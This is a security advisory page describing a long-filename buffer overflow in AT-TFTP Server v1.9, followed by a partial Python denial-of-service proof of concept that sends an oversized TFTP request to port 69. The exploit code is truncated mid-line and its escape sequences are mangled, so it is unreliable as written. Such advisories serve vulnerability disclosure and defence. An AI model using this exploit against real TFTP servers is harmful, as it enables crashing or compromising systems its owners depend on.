TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)

Advisory Content :

TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long
filename)

------------------------------------------------------------------
SUMMARY:

AT-TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
(http://www.alliedtelesyn.co.uk/en-gb/support/downloads/tools.asp)
It provides an implementation of the TFTPv2 protocol.

A vulnerability has been identified in TFTP Server AT-TFTP Server v1.9,
which could be exploited by remote or local attackers to execute arbitrary
commands or cause a denial of service. This flaw is due to a buffer
overflow error when handling an overly long file name (more than 227 bytes)
passed to a "GET" or "PUT" command, which could be exploited by malicious
users to compromise a vulnerable system or crash an affected application.
----------
DETAILS:

Vulnerable systems: AT-TFTP Server v 1.9 and probable prior

Exploit:

#!/usr/bin/python
# Buffer Overflow (Long filename) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

import socket
import sys

host = '192.168.1.11'
port = 69

try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

filename = "A" * 227
mode = "netascii"
data = "x00x02" + filename + "

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)